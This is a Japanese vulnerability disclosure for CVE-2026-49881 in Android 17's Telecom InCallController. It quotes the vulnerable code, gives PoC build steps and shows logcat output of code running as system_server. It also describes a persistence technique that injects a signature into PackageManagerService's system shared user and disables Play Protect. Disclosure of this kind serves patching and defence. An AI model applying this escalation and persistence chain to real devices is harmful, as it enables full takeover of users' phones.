
CVE-2026-49881は、Android 17のTelecomサービスにおけるInCallControllerクラスのロジックの問題で、特権のないアプリがUID 1000 system_serverとして任意のコード実行を可能にするものです。
これはCVE-2026-49881のPoCおよび解説です。Android 17のTelecomサービスにおけるInCallControllerクラスのロジック上の問題で、特権のないアプリが追加のユーザー操作なしにUID 1000のsystem_serverとして任意のコード実行を獲得できるものです。また、ここでは最新のAndroidバージョンでもsystem_serverでのコード実行が永続化のために容易に適応できることを示します。
この脆弱性は2026-04-10にAndroidセキュリティチームへ報告し、2026-05-06に確認され、2026年9月のAndroidセキュリティ情報で修正されました。(パッチはこちら)
報告時点では、私の知る限りAndroid 16 QPR3以降(17 Betaビルドを含む)のPixelビルドにのみ影響がありましたが、その後Android 17のAOSP安定版リリースにも波及しました。
この問題から身を守るために、Google Playシステムアップデートとシステムセキュリティパッチの両方を必ずインストールしてください。(TelecomはAndroid 17以降のメインラインコンポーネントです)
system_serverでのコード実行を獲得し、idとスタックトレースをlogcatに記録し、自身をsystem_serverコンポーネントとして再インストールすることを実証します。build.shを実行してコンパイルします。あるいは、手動で./gradlew assembleSystemReleaseを実行し、生成されたapp-system-release.apkをapp/src/poc/assets/system.apkに移動してから、./gradlew assemblePocReleaseを実行します。system_serverに侵入した後、Settings.Globalのpackage_verifier_user_consentを-1に設定してPlay Protectも強制的にオフにします。これは、未知の署名により再インストールトランザクションが妨害されることがあるためです。テスト後は設定でこれを再度有効にしてください。system_serverとしての再インストール段階は、OEMが変更することがあるシンボルを使用してPMS構造を走査するため、OEMごとのカスタマイズが必要になる場合があります。期待されるPoCのlogcat出力は次のとおりです:
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
これは異常に直接的な脆弱性です。特定のTelecom関連のアクションが発生するたびに、InCallControllerはgetInCallServiceComponentsを通じて利用可能なサービスを発見しようとします。これはコールがシステムに登録されると自然にトリガーされますが、アプリはトランザクションコールAPIのTelecomManager.addCallのおかげで、オンデマンドでトリガーすることもできます。(注:PoCのStart Exploitボタンが使用するのはこれです)このAPIにはMANAGE_OWN_CALLSが必要ですが、これは通常の、インストール時に自動的に付与されるユーザーには見えない権限です。
この列挙は、脆弱なバージョンでは次のように実装されています:
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;
if (serviceInfo != null) {
boolean isMetaFlag = serviceInfo.metaData != null &&
serviceInfo.metaData.getBoolean(
"android.telecom.CLASS_EXISTENCE_CHECK", false);
if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
continue;
}
...
}
}
}
serviceClassExistsが、InCallServiceインテントとandroid.telecom.CLASS_EXISTENCE_CHECKメタデータ値を宣言する任意のコンポーネントに対して実行されることに注目してください。有効/有効化されたInCallServiceのみではありません。(そのチェックは分岐のさらに下でgetInCallServiceTypeとisServiceEnabledを使用して実装されています)
serviceClassExistsは次のように実装されています:
/**
* Verifies that the class for a given ServiceInfo exists within its package.
* This prevents a system crash if a service is declared in the manifest but its
* class was not included in the compiled code.
* @param serviceInfo The ServiceInfo of the service to check.
* @param userHandle The user under which to check for the service.
* @return {@code true} if the class exists, {@code false} otherwise.
*/
private boolean serviceClassExists(ServiceInfo serviceInfo, UserHandle userHandle) {
Log.i(this, "serviceClassExists check");
try {
Context packageContext = mContext.createPackageContextAsUser(
serviceInfo.packageName,
Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY, userHandle);
ClassLoader classLoader = packageContext.getClassLoader();
Class.forName(serviceInfo.name, false, classLoader);
return true;
} catch (NameNotFoundException | ClassNotFoundException e) {
Log.w(this, "Skipping InCallService: class not found for " + serviceInfo.name);
return false;
} catch (Exception e) {
Log.e(this, e, "Error checking for existence of " + serviceInfo.name);
return false;
}
}
CONTEXT_IGNORE_SECURITYを指定したcreatePackageContextの危険性はよく文書化されており、この場合、system_server自身が信頼できないコンポーネントに対して、そのアプリのDEXにクラスが存在するかどうかを確認するためだけに実行しています。しかし、一見すると、取得したコンテキストがinitialize=falseのClass.forNameで使用されているため、安全に見えるかもしれません。開発者はこのリスクを認識しており、外部クラスがsystem_serverで初期化されないようにその引数を指定した可能性が非常に高いです。
残念ながら、この注意は遅すぎます。外部コンテキストに対するgetClassLoaderによって、すでに被害が発生しています。攻撃者アプリがマニフェストでandroid:appComponentFactoryとしてAppComponentFactoryを定義している場合、CONTEXT_INCLUDE_CODEとCONTEXT_IGNORE_SECURITYで作成されたコンテキストに対応するLoadedApkのgetClassLoaderメソッドは、まずディスクから外部アプリのデフォルトクラスローダーを取得し、クラスローダーを返す前にファクトリのコンストラクタとそのinstantiateClassLoaderメソッドの両方を実行します。
このクラスは攻撃者アプリが制御できるため、これは直ちにTelecomのコンテキストでの任意のコード実行につながります。
system_serverでのコード実行が成功した場合の影響を示すために、PoCは永続的なsystem_serverコンポーネントとして自身を再インストールすることを実証します。(この手法は、AbxOverflow / CVE-2024-34740のPoCでMichał Bednarskiによって公開された手法を応用したものです)
これは次のように行います:
system_serverに入ったら、PackageManagerService.mSettingsに直接動的にリフレクションして、PoCアプリのSignatureオブジェクトを取得します。"android.uid.system"に対応するSharedUserSettingを取得し、CertCapabilities.SHARED_USER_IDを使用してPoCのSignatureをそのgetSigningDetails().mPastSigningCertificatesに2回注入します。android:sharedUserId="android.uid.system"とandroid:process="system"を追加したバリアントを再インストールします。(これにより、前の手順の揮発性の変更もpackages.xmlにフラッシュされます)これにより、PackageSignaturesのcanJoinSharedUserId()がローテーション履歴の一致によりパスし、永続的なsystem_server権限が得られます。
おそらく疑問に思うのは、なぜこの脆弱性がそもそも存在するのか、特に、なぜ文書化されていないメタデータフラグの背後にオプトインのクラス存在チェックがあるのか、ということでしょう。
確実に言うことは不可能ですが、この謎の答えはおそらくAOSPを少し深く掘り下げることで見つかります。クラスチェックとメタデータ比較の両方は、おそらく同じ頃に実装されていたandroid.net.ConnectivityCallListenerServiceを考慮して追加されたものです。
このサービスは当初フレームワークのマニフェストで定義されていましたが、どこにも実装されていませんでした。(そして実際に追加されたときは、Flags.FLAG_ENABLE_INCALL_SERVICE_API機能フラグの背後にありました)テスト中にクラッシュが観察されると、誰かがハードコードされた例外ではなく、再利用可能な「多層防御」チェックとして修正を実装することにしたのでしょう。このサービスのマニフェスト定義は、"android.telecom.CLASS_EXISTENCE_CHECK"を定義して「このサービスのクラスがすべてのビルドに存在しない可能性があることを示し」、「バインドを試みる前にクラスの存在を確認するようTelecomに指示する」と述べています。(そしてそれが私たちが今ここにいる理由です)